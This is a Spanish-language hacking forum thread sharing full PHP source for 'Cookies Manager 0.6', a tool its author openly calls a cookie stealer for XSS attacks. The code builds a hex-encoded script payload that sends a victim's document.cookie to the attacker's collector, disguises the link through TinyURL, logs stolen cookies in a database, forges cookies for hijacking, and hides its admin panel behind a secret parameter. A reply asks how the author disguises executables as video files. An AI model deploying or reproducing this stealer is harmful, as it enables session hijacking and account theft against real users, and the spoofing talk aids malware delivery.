elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado:


+  Foro de elhacker.net
|-+  Programación
| |-+  Desarrollo Web
| | |-+  PHP (Moderador: #!drvy)
| | | |-+  [PHP] Cookies Manager 0.6
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: [PHP] Cookies Manager 0.6  (Leído 1,291 veces)
BigBear


Desconectado Desconectado

Mensajes: 545



Ver Perfil
[PHP] Cookies Manager 0.6
« en: 18 Diciembre 2015, 21:41 pm »

Hoy les traigo una version mejorada de este cookie stealer que les permite capturar,guardar y generar cookies para el robo de cookies usando XSS.

Tiene las siguientes opciones :

  • Cookie Stealer con generador de TinyURL
  • Pueden ver los cookies que les devuelve una pagina
  • Pueden crear cookies con los datos que quieran
  • Panel oculto con login para entrar usen ?poraca para encontrar al login

Una imagen :



Los codigos :

index.php

Código
  1. <?php
  2.  
  3. // Cookies Manager 0.6
  4. // (C) Doddy Hackman 2015
  5.  
  6. // Login
  7.  
  8. $username = "admin"; // Edit
  9. $password = "21232f297a57a5a743894a0e4a801fc3"; // Edit
  10.  
  11. //
  12.  
  13. $index = "imagen.php"; // Edit
  14.  
  15. if (isset($_GET['poraca'])) {
  16.  
  17.    echo '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
  18. <html xmlns="http://www.w3.org/1999/xhtml">
  19.   <head>
  20.      <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
  21.      <title>Login</title>
  22.      <link rel="shortcut icon" href="images/icono.png">
  23.      <link href="style.css" rel="stylesheet" type="text/css" />
  24.   </head>
  25.   <body>
  26.      <center><br>
  27.         <div class="post">
  28.            <h3>Login</h3>
  29.            <div class="post_body">
  30.               <img src="images/login.jpg" width="562" height="440" />
  31.               <br />
  32.               <form action="" method=POST>
  33.                  Username : <input type=text size=30 name=username /><br /><br />
  34.                  Password : <input type=password size=30 name=password /><br /><br />
  35.                  <input type=submit name=login style="width: 100px;" value=Login /><br /><br />
  36.               </form>
  37.            </div>
  38.         </div>
  39.      </center>
  40.   </body>
  41. </html>';
  42.  
  43.    if (isset($_POST['login'])) {
  44.  
  45.        $test_username = $_POST['username'];
  46.        $test_password = md5($_POST['password']);
  47.  
  48.        if ($test_username == $username && $test_password == $password) {
  49.            setcookie("login", base64_encode($test_username . "@" . $test_password));
  50.            echo "<script>alert('Welcome idiot');</script>";
  51.            $ruta = "http://" . $_SERVER['HTTP_HOST'] . dirname($_SERVER['PHP_SELF']) . "/" . $index;
  52.            echo '<meta http-equiv="refresh" content="0; url=' . htmlentities($ruta) . '" />';
  53.        } else {
  54.            echo "<script>alert('Fuck You');</script>";
  55.        }
  56.    }
  57.  
  58. } else {
  59.    echo '<meta http-equiv="refresh" content="0; url=http://www.petardas.com" />';
  60. }
  61.  
  62. // The End ?
  63.  
  64. ?>
  65.  

imagen.php

Código
  1. <?php
  2.  
  3. // Cookies Manager 0.6
  4. // (C) Doddy Hackman 2015
  5.  
  6. // Login
  7.  
  8. $username = "admin"; // Edit
  9. $password = "21232f297a57a5a743894a0e4a801fc3"; // Edit
  10.  
  11. // DB
  12.  
  13. $host  = "localhost"; // Edit
  14. $userw = "root"; // Edit
  15. $passw = ""; // Edit
  16. $db    = "cookies"; // Edit
  17.  
  18. // Functions
  19.  
  20. function hex_encode($text)
  21. {
  22.    $texto = chunk_split(bin2hex($text), 2, '%');
  23.    return $texto = '%' . substr($texto, 0, strlen($texto) - 1);
  24. }
  25.  
  26. function parsear_cookie($leyendo)
  27. {
  28.  
  29.    $leyendo   = str_replace("comment=", "", $leyendo);
  30.    $leyendo   = str_replace("Set-Cookie: ", "", $leyendo);
  31.    $contenido = explode(";", $leyendo);
  32.  
  33.    $nombre       = "";
  34.    $valor_cookie = "";
  35.    $expires      = "";
  36.    $path         = "";
  37.    $domain       = "";
  38.    $secure       = "false";
  39.    $httponly     = "false";
  40.  
  41.    foreach ($contenido as $valor) {
  42.  
  43.        if (preg_match("/expires=(.*)/", $valor, $regex)) {
  44.            $expires = $regex[1];
  45.        }
  46.  
  47.        elseif (preg_match("/path=(.*)/", $valor, $regex)) {
  48.            $path = $regex[1];
  49.        } elseif (preg_match("/domain=(.*)/", $valor, $regex)) {
  50.            $domain = $regex[1];
  51.        } elseif (preg_match("/secure=(.*)/", $valor, $regex)) {
  52.            $secure = $regex[1];
  53.        } elseif (preg_match("/httponly=(.*)/", $valor, $regex)) {
  54.            $httponly = $regex[1];
  55.        }
  56.  
  57.        else {
  58.  
  59.            if (preg_match("/(.*)=(.*)/", $valor, $regex)) {
  60.                $nombre       = $regex[1];
  61.                $valor_cookie = $regex[2];
  62.            }
  63.  
  64.        }
  65.  
  66.    }
  67.  
  68.    return array(
  69.        $nombre,
  70.        $valor_cookie,
  71.        $expires,
  72.        $path,
  73.        $domain,
  74.        $secure,
  75.        $httponly
  76.    );
  77.  
  78. }
  79.  
  80. function ver_cookies_de_pagina($pagina)
  81. {
  82.    $cookies = "";
  83.    if (!function_exists('curl_exec')) {
  84.        $options = array(
  85.            'http' => array(
  86.                'user_agent' => 'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0'
  87.            )
  88.        );
  89.        $context = stream_context_create($options);
  90.        file_get_contents($pagina);
  91.        foreach ($http_response_header as $valores) {
  92.            if (preg_match("/Set-Cookie/", $valores)) {
  93.                $valores = str_replace("Set-Cookie:", "", $valores);
  94.                $cookies = $cookies . trim($valores) . "\n";
  95.            }
  96.        }
  97.    } else {
  98.        $nave = curl_init($pagina);
  99.        curl_setopt($nave, CURLOPT_TIMEOUT, 5);
  100.        curl_setopt($nave, CURLOPT_RETURNTRANSFER, 1);
  101.        curl_setopt($nave, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0");
  102.        curl_setopt($nave, CURLOPT_HEADER, 1);
  103.        curl_setopt($nave, CURLOPT_NOBODY, 1);
  104.        $contenido = curl_exec($nave);
  105.        curl_close($nave);
  106.        $leyendo = explode("\n", trim($contenido));
  107.  
  108.        foreach ($leyendo as $valores) {
  109.            if (preg_match("/Set-Cookie/", $valores)) {
  110.                $valores = str_replace("Set-Cookie:", "", $valores);
  111.                $cookies = $cookies . trim($valores) . "\n";
  112.            }
  113.        }
  114.    }
  115.    return $cookies;
  116. }
  117.  
  118. function toma($target)
  119. {
  120.    $code = "";
  121.    if (function_exists('curl_exec')) {
  122.        $nave = curl_init($target);
  123.        curl_setopt($nave, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0');
  124.        curl_setopt($nave, CURLOPT_TIMEOUT, 5);
  125.        curl_setopt($nave, CURLOPT_RETURNTRANSFER, true);
  126.        $code = curl_exec($nave);
  127.    } else {
  128.        $options = array(
  129.            'http' => array(
  130.                'user_agent' => 'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0'
  131.            )
  132.        );
  133.        $context = stream_context_create($options);
  134.        $code    = file_get_contents($target);
  135.    }
  136.    return $code;
  137. }
  138.  
  139. //
  140.  
  141.  
  142. mysql_connect($host, $userw, $passw);
  143.  
  144. if (isset($_GET['id'])) {
  145.  
  146.    if (empty($_GET['id'])) {
  147.        error();
  148.    }
  149.  
  150.    $dia = mysql_real_escape_string(date("d.m.Y"));
  151.    $ip  = mysql_real_escape_string($_SERVER["REMOTE_ADDR"]);
  152.  
  153.    if ($ip == "::1") {
  154.        $ip = "127.0.0.1";
  155.    }
  156.  
  157.    $info = mysql_real_escape_string($_SERVER["HTTP_USER_AGENT"]);
  158.    $ref  = mysql_real_escape_string($_SERVER["HTTP_REFERER"]);
  159.  
  160.    $cookie = mysql_real_escape_string($_GET['id']);
  161.  
  162.    mysql_query("INSERT INTO cookies_found(id,fecha,ip,info,cookie) values(NULL,'$dia','$ip','$info','$cookie')");
  163.  
  164.    header("Location:http://www.google.com.ar");
  165.  
  166. }
  167.  
  168. elseif (isset($_COOKIE['login'])) {
  169.  
  170.    $st = base64_decode($_COOKIE['login']);
  171.  
  172.    $plit = explode("@", $st);
  173.    $user = $plit[0];
  174.    $pass = $plit[1];
  175.  
  176.    if ($user == $username and $pass == $password) {
  177.  
  178.        echo '
  179. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
  180. <html xmlns="http://www.w3.org/1999/xhtml">
  181.   <head>
  182.      <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
  183.      <title>Cookies Manager 0.6</title>
  184.      <link href="style.css" rel="stylesheet" type="text/css" />
  185.      <link rel="shortcut icon" href="images/icono.png">
  186.   </head>
  187.   <body>
  188.   <center>';
  189.  
  190.        echo '<br><img src="images/cookies.png" /><br>';
  191.  
  192.        if (isset($_POST['makecookies'])) {
  193.  
  194.            if (setcookie($_POST['name_cookie'], $_POST['value_cookie'], time() + 7200, $_POST['path_cookie'], $_POST['domain_cookie'])) {
  195.                echo "<script>alert('Cookie maked');</script>";
  196.            } else {
  197.                echo "<script>alert('Error making Cookie');</script>";
  198.            }
  199.        }
  200.  
  201.        $edit_name       = "";
  202.        $edit_value      = "";
  203.        $edit_expire     = "";
  204.        $edit_path       = "";
  205.        $edit_domain     = "";
  206.        $edit_secure     = "";
  207.        $edit_httponline = "";
  208.  
  209.        if (isset($_POST['instalar'])) {
  210.  
  211.            $cookies_found = "create table cookies_found (
  212. id int(10) UNSIGNED NOT NULL AUTO_INCREMENT,
  213. fecha TEXT NOT NULL,
  214. ip TEXT NOT NULL,
  215. info TEXT NOT NULL,
  216. cookie TEXT NOT NULL,
  217. PRIMARY KEY (id));
  218. ";
  219.  
  220.            if (mysql_query($cookies_found)) {
  221.                echo "<script>alert('Installed');</script>";
  222.            } else {
  223.                echo "<script>alert('Error');</script>";
  224.            }
  225.        }
  226.  
  227.        if (mysql_num_rows(mysql_query("show tables like 'cookies_found'"))) {
  228.  
  229.            //
  230.  
  231.            if (isset($_GET['del'])) {
  232.                if (is_numeric($_GET['del'])) {
  233.                    if (@mysql_query("delete from cookies_found where id='" . $_GET['del'] . "'")) {
  234.                        echo "<script>alert('Cookie deleted');</script>";
  235.                    } else {
  236.                        echo "<script>alert('Error');</script>";
  237.                    }
  238.                }
  239.            }
  240.  
  241.            // Cookies Found
  242.  
  243.  
  244.            $re  = mysql_query("select * from cookies_found order by id ASC");
  245.            $con = mysql_num_rows($re);
  246.            echo '
  247.            <div class="post">
  248.                <h3>Cookies Found : ' . $con . '</h3>
  249.                   <div class="post_body"><br>';
  250.  
  251.            if ($con <= 0) {
  252.                echo '<b>No cookies found</b><br>';
  253.            } else {
  254.  
  255.                echo '<table>';
  256.                echo "<td><b>ID</b></td><td><b>Date</b></td><td><b>IP</b></td><td><b>Data</b></td><td><b>Cookie</b></td><td><b>Name</b></td><td><b>Value</b></td><td><b>Option</b></td><tr>";
  257.  
  258.                while ($ver = mysql_fetch_array($re)) {
  259.                    $cookies_view = $ver[4];
  260.                    list($nombre, $valor_cookie, $expires, $path, $domain, $secure, $httponly) = parsear_cookie($cookies_view);
  261.  
  262.                    echo "<td>" . htmlentities($ver[0]) . "</td><td>" . htmlentities($ver[1]) . "</td><td>" . htmlentities($ver[2]) . "</td><td>" . htmlentities($ver[3]) . "</td>";
  263.                    echo "<td>" . htmlentities($cookies_view) . "</td><td>" . htmlentities($nombre) . "</td><td>" . htmlentities($valor_cookie) . "</td><td><a href=?del=" . htmlentities($ver[0]) . ">Delete</a></td><tr>";
  264.  
  265.                }
  266.                echo "</table>";
  267.  
  268.            }
  269.  
  270.            echo '               <br></div>
  271.            </div>';
  272.  
  273.            //
  274.  
  275.            // Form para target
  276.  
  277.            echo '
  278.            <div class="post">
  279.                <h3>Enter Target</h3>
  280.                   <div class="post_body"><br>';
  281.  
  282.            echo "
  283. <form action='' method=POST>
  284. <b>Link : </b><input type=text size=40 name=target value='http://localhost/dhlabs/xss/index.php?msg='=></td><tr>
  285. <input type=submit name=getcookies style='height: 25px; width: 100px' value='Get Cookies'> <input type=submit name=generateurl style='height: 25px; width: 100px' value=Generate URL></td>
  286. </form>
  287.  
  288. ";
  289.  
  290.            echo '               <br></div>
  291.            </div>';
  292.  
  293.            // URLS
  294.  
  295.            if (isset($_POST['generateurl'])) {
  296.  
  297.                echo '
  298.            <div class="post">
  299.                <h3>Console</h3>
  300.                   <div class="post_body"><br>';
  301.  
  302.                echo "<textarea cols=50 name=code readonly>\n";
  303.                $script         = hex_encode("<script>document.location='http://" . $_SERVER['HTTP_HOST'] . $_SERVER['PHP_SELF'] . "?id='+document.cookie;</script>");
  304.                //echo "http://tinyurl.com/api-create.php?url=".$_POST['target'].$script."\n";
  305.                $resultado_code = toma("http://tinyurl.com/api-create.php?url=" . $_POST['target'] . $script);
  306.                echo htmlentities($resultado_code);
  307.                echo "\n</textarea></table>";
  308.  
  309.                echo '               <br><br></div>
  310.            </div>';
  311.  
  312.            }
  313.            //
  314.  
  315.            // Get Cookies
  316.  
  317.            if (isset($_POST['getcookies'])) {
  318.  
  319.                echo '
  320.            <div class="post">
  321.                <h3>Console</h3>
  322.                   <div class="post_body"><br>';
  323.  
  324.                echo "<textarea cols=50 rows=10 name=code readonly>\n";
  325.                $resultado_code = ver_cookies_de_pagina($_POST['target']);
  326.                echo htmlentities($resultado_code);
  327.                echo "\n</textarea>";
  328.  
  329.                echo '               <br><br></div>
  330.            </div>';
  331.  
  332.                $leyendo_esto = split("\n", $resultado_code);
  333.  
  334.                list($nombre, $valor_cookie, $expires, $path, $domain, $secure, $httponly) = parsear_cookie($leyendo_esto[0]);
  335.  
  336.                $edit_name       = $nombre;
  337.                $edit_value      = $valor_cookie;
  338.                $edit_expire     = $expires;
  339.                $edit_path       = $path;
  340.                $edit_domain     = $domain;
  341.                $edit_secure     = $secure;
  342.                $edit_httponline = $httponly;
  343.  
  344.            }
  345.  
  346.            //
  347.  
  348.            // Form para crear cookies
  349.  
  350.  
  351.            echo '
  352.            <div class="post">
  353.                <h3>Cookie Maker</h3>
  354.                   <div class="post_body"><br>';
  355.  
  356.            echo "
  357. <form action='' method=POST>
  358. <b>Name : </b><input type=text size=50 name=name_cookie value='$edit_name'><br><br>
  359. <b>Value : </b><input type=text size=50 name=value_cookie value='$edit_value'><br><br>
  360. <b>Expires : </b><input type=text size=50 name=expire_cookie value='$edit_expire'><br><br>
  361. <b>Path : </b><input type=text size=50 name=path_cookie value='$edit_path'><br><br>
  362. <b>Domain : </b><input type=text size=50 name=domain_cookie value='$edit_domain'><br><br>
  363. <b>Secure : </b><input type=text size=50 name=secure_cookie value='$edit_secure'><br><br>
  364. <b>HTTP Online : </b><input type=text size=50 name=httponline_cookie value='$edit_httponline'><br><br>
  365. <input type=submit name=makecookies style='height: 25px; width: 200px' value='Make Cookie'>
  366. </form>";
  367.  
  368.            echo '                <br></div>
  369.            </div>';
  370.  
  371.        } else {
  372.  
  373.            echo '
  374.            <div class="post">
  375.                <h3>Installer</h3>
  376.                   <div class="post_body">';
  377.            echo "
  378. <form action='' method=POST>
  379. <h2>Do you want install Cookies Manager ?</h2><br>
  380. <input type=submit name=instalar value=Install>
  381. </form><br>";
  382.  
  383.            echo '                </div>
  384.            </div>';
  385.        }
  386.  
  387.        echo '  
  388.        <br><h3>(C) Doddy Hackman 2015</h3><br>
  389.        </center>
  390.        </body>
  391. </html>';
  392.  
  393.    } else {
  394.        echo "<script>alert('Fuck You');</script>";
  395.    }
  396. } else {
  397.    echo '<meta http-equiv="refresh" content="0; url=http://www.petardas.com" />';
  398. }
  399.  
  400. // The End ?
  401.  
  402. ?>
  403.  

style.css

Código
  1. /*
  2.  
  3. ==-----------------------------------==
  4. || Name : DH Theme                   ||
  5. || Version : 0.8                     ||  
  6. || Author : Doddy H                  ||
  7. || Description: Templante            ||
  8. || Date : 14/1/2015                  ||
  9. ==-----------------------------------==
  10.  
  11. */
  12.  
  13. body {
  14. background:transparent url("images/fondo.jpg") repeat scroll 0 0;
  15. color:gray;
  16. font-family:helvetica,arial,sans-serif;
  17. font-size:14px;
  18. text-align:center;
  19. }
  20.  
  21. a:link {
  22. text-decoration:none;
  23. color:orange;
  24. }
  25. a:visited {
  26. color:orange;
  27. }
  28. a:hover {
  29. color:orange;
  30. }
  31.  
  32. td,tr {
  33. border-style:solid;
  34. border-color: gray;
  35. border-width: 1px;
  36. background: black;
  37. border: solid #222 2px;
  38. color:gray;
  39. font-family:helvetica,arial,sans-serif;
  40. font-size:14px;
  41. text-align:center;
  42. }
  43.  
  44. textarea {
  45. font: normal 10px Verdana, Arial, Helvetica,sans-serif;
  46. background-color:black;
  47. color:gray;
  48. border: solid #222 2px;
  49. border-color:gray
  50. }
  51.  
  52. input {
  53. border-style:solid;
  54. border-color: gray;
  55. border-width: 1px;
  56. background: black;
  57. border: solid #222 2px;
  58. color:gray;
  59. font-family:helvetica,arial,sans-serif;
  60. font-size:14px;
  61. }
  62.  
  63. .post {
  64. background-color:black;
  65. color:gray;
  66. margin-bottom:10px;
  67. width:600px;
  68. word-wrap: break-word;
  69. }
  70.  
  71. .post h3 {
  72. background-color:black;
  73. color:orange;
  74. background-color:#000;
  75. border: solid #222 2px;
  76. -webkit-border-radius: 4px;
  77. -moz-border-radius: 4px;
  78. border-radius: 4px;
  79. padding:5px 10px;
  80. }
  81.  
  82. .post_body {
  83. background-color:black;
  84. margin:-20px 0 0 0;
  85. color:white;
  86. background-color:#000;
  87. border: solid #222 2px;
  88. -webkit-border-radius: 4px;
  89. -moz-border-radius: 4px;
  90. border-radius: 4px;
  91. padding:5px 10px;
  92. }
  93.  
  94. /* The End ? */
  95.  

Un video con ejemplo de usos :



Si quieren bajar el programa lo pueden hacer de aca :

SourceForge.
Github.


En línea

Kaxperday


Desconectado Desconectado

Mensajes: 702


The man in the Middle


Ver Perfil WWW
Re: [PHP] Cookies Manager 0.6
« Respuesta #1 en: 19 Diciembre 2015, 01:53 am »

Wow enhorabuena por el trabajo, interesante proyecto.

También he visto que tienes videos en youtube, de otros proyectos, muy interesantes, me pregunto si el que genera el virus es de código abierto, porque lo que hace si no me equivoco era generar un .avi pero se comportaba como un ejecutable XD, estaría bien saber como de hace.

Un saludo y gracias por compartir.

Edito: He leído un tutorial acerca de extension spoofing muy sencillo, empleando el caracter de leer de derecha a izquierda, aunque tiene que llevar "exe" antes de la extension spoofeada:

https://www.hackingloops.com/ultimate-extension-spoofing-tutorial.html

Sin embargo en tu método, no aparece luego sobreentiendo que no utilizas ese método, ¿cómo lo haces entonces?.

He visto que lo tienes en github, en delphi, pero no lo acabo de pillar como lo haces, explicanos pls. Seguiré buscando mientras estoy intrigado, lo del icono se un simple rc y compilar el ico. Pero la spoofer extension sin "exe" en el nombre, no se hacerla.


« Última modificación: 19 Diciembre 2015, 12:45 pm por Kaxperday » En línea

Cuando el poder económico parasita al político ningún partido ni dictador podrá liberarnos de él. Se reserva el 99% ese poder.
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
como agregar cookie con "cookies Manager +"
Dudas Generales
RedZer 0 3,485 Último mensaje 15 Agosto 2011, 23:59 pm
por RedZer
Cookies Filesonic Premium (397) + Cookies Checker
Software
Eleкtro 0 2,160 Último mensaje 21 Noviembre 2011, 18:21 pm
por Eleкtro
Cookies Wupload Premium (1.819) + Cookies Checker
Software
Eleкtro 0 2,843 Último mensaje 21 Noviembre 2011, 18:23 pm
por Eleкtro
[C] Manager
Programación C/C++
BigBear 0 1,301 Último mensaje 8 Enero 2012, 18:40 pm
por BigBear
HOW TO: Cookies and Passwords with DSNIFF suite and NGREP ( Cookies and Pass )
Hacking
yarolinux 4 5,646 Último mensaje 24 Enero 2012, 23:58 pm
por darkvector
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines